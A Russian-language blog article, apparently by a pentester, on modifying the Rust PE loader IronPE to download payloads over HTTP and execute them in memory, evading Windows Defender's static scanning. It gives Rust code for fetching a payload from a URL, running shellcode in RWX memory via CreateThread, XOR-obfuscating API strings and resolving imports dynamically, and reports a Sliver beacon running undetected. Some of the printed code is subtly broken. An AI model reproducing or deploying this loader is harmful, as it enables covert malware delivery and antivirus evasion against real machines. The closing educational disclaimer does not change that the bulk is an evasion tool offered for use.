- PVSM.RU - https://www.pvsm.ru -
Всем привет! Меня зовут Степанов Даниил. Я работаю пентестером в одной из российских компаний по информационной безопасности. В свободное время исследую современные методы обхода защитных механизмов Windows. В этой статье хочу поделиться результатами одного из таких исследований.
В 2026 году Windows Defender перестал быть просто антивирусом. Это полноценный EDR с поведенческим анализом, облачными сигнатурами и защитой на уровне ядра. Однако статическая компонента - анализ файлов на диске - всё ещё остаётся одной из главных линий обороны. И именно здесь можно найти интересные бреши.
В этой статье я расскажу, как мы взяли открытый Rust PE-загрузчик IronPE, добавили в него возможность загружать полезную нагрузку по HTTP и выполнять её прямо в памяти, полностью обойдя статический детект Windows Defender. А также разберём, почему подобные техники работают и как их можно развивать.
IronPE - это минималистичный ручной PE-загрузчик на Rust, разработанный ISSAC. Он умеет читать PE-файл (EXE или DLL) из памяти, загружать его вручную (manual mapping) и передавать управление на точку входа.
Оригинальный IronPE работает только с локальными файлами. Но его главная ценность — демонстрация того, как работает Windows-загрузчик, и возможность выполнить произвольный PE без вызова стандартных API типа CreateProcess или LoadLibrary.
Почему это интересно с точки зрения обхода защиты:
Нет записи на диск — нет файла для сканера.
Используются только легитимные WinAPI (VirtualAlloc, LoadLibrary, GetProcAddress).
Код на Rust, что пока редко встречается в зловредных тулзах, поэтому меньше сигнатур.
Исходный код легко модифицируется.
Однако оригинальная версия всё равно требует, чтобы полезная нагрузка лежала на диске. Это оставляет артефакты и может быть обнаружено при статическом анализе самого загрузчика. Мы пошли дальше.
Мы добавили в IronPE возможность получать PE-файл из сети по HTTP/HTTPS. Для этого использовали крейт reqwest с блокирующим клиентом.
rust
fn fetch_from_url_reqwest(url: &str) -> Result<Vec<u8>, String> {
let client = reqwest::blocking::Client::builder()
.user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
.timeout(std::time::Duration::from_secs(120))
.build()?;
let response = client.get(url).send()?;
let bytes = response.bytes()?.to_vec();
Ok(bytes)
}
Теперь IronPE может запускаться с аргументом --x64 http://server/payload.exe [1] и загружать полезную нагрузку напрямую в память без промежуточного файла.
Помимо полноценных PE-файлов, мы добавили режим --shellcode. В этом случае IronPE не разбирает PE-заголовки, а просто выделяет память с правами RWX и передаёт управление.
Это полезно для запуска легковесных стейджеров или сгенерированных Sliver shellcode.
rust
"--shellcode" => {
let bytes = read_file_or_url(&args[2])?;
let ptr = VirtualAlloc(None, bytes.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
std::ptr::copy_nonoverlapping(bytes.as_ptr(), ptr as *mut u8, bytes.len());
let thread = CreateThread(None, 0, Some(std::mem::transmute(ptr)), None, 0, None);
WaitForSingleObject(thread?, INFINITE);
}
Оригинальный IronPE уже использовал динамическое разрешение для VirtualAlloc, LoadLibrary и GetProcAddress, потому что сам является ручным загрузчиком и ему нужно получить эти функции. Но в нашем модифицированном загрузчике мы сохранили этот подход и даже расширили его: все импорты, которые могут быть использованы в дальнейшем, также резолвятся динамически.
Что это даёт? В IAT загрузчика нет явных записей типа VirtualAllocEx или CreateRemoteThread. Это значительно снижает вероятность детекта статическими анализаторами.
Чтобы ещё больше усложнить статический анализ, мы добавили простейшую обфускацию строк: все имена функций и DLL хранятся в виде XOR-зашифрованных байтов и расшифровываются только во время выполнения.
rust
fn decrypt(s: &[u8], key: u8) -> String {
s.iter().map(|&c| (c ^ key) as char).collect()
}
let kernel32 = decrypt(b"x4bx4fx4cx4dx4ex5ax5bx2b", 0x2a);
Самый очевидный момент. Defender (как и любой другой антивирус) проверяет файлы при записи, чтении, открытии. Если полезная нагрузка никогда не попадает на диск, статическая сигнатура просто не срабатывает.
Все функции, которые использует IronPE, абсолютно легальны: VirtualAlloc, LoadLibrary, GetProcAddress, CreateThread, WaitForSingleObject. Они используются тысячами легитимных программ. Без поведенческого контекста Defender не может отличить загрузчик от, скажем, инсталлятора драйверов.
Благодаря динамическому разрешению IAT IronPE пуст (или содержит только GetModuleHandle и GetProcAddress). Статический анализ не находит в нём функций, характерных для инжекции кода или доступа к LSASS.
Rust пока не так часто используется в малвари, как C++ или C#. Соответственно, меньше готовых сигнатур и YARA-правил. Это не панацея, но даёт дополнительный оверхед анализаторам.
Когда загрузчик получает полезную нагрузку по HTTP, цепочка становится двухступенчатой. Даже если сам IronPE будет когда-то задетекчен, полезная нагрузка остаётся неизвестной.
Операционная система: Windows 11 25H2
Защитное ПО: Windows Defender (все компоненты активны, включая защиту в реальном времени и облачную защиту)
Полезная нагрузка: сгенерированный Sliver beacon (EXE, ~30 МБ)
Загрузчик: модифицированный IronPE с поддержкой HTTP-загрузки
Поднимаем на нашем питоновский серв на порту 8081, после чего с тестируемой винды берем файл
Как мы видим на скриншотах выше, Windows Defender не проявляет никакой реакции — ни всплывающих уведомлений, ни записей в журнале защиты. При этом в консоли Sliver успешно появляется новая сессия, что подтверждает факт выполнения полезной нагрузки.
В результате проделанной работы нам удалось достичь поставленной цели: модифицированный IronPE успешно обходит статический анализ Windows Defender, загружая и выполняя полезную нагрузку напрямую в память без создания файлов на диске.
Ключевые факторы успеха:
Отсутствие файла полезной нагрузки на диске
Использование исключительно легитимных WinAPI-вызовов
Динамическое разрешение импортов (минимизация IAT)
Реализация на Rust, что снижает вероятность срабатывания сигнатур
Важное примечание: Данная статья подготовлена исключительно в образовательных целях. Полученные знания могут применяться только в рамках законных исследований безопасности, пентестов с письменного разрешения владельца системы, а также для повышения собственной квалификации в области информационной безопасности.
Прошу не судите строго — это моя первая статья, и я решил поделиться с сообществом тем, что показалось мне действительно полезным. Надеюсь, материал поможет лучше понять принципы работы современных защитных механизмов и способы их исследования.
Автор: ihateyou
Источник [3]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/pentestery/448843
Ссылки в тексте:
[1] http://server/payload.exe: http://server/payload.exe
[2] VPS: https://www.reg.ru/?rlink=reflink-717
[3] Источник: https://habr.com/ru/articles/1019432/?utm_source=habrahabr&utm_medium=rss&utm_campaign=1019432
Нажмите здесь для печати.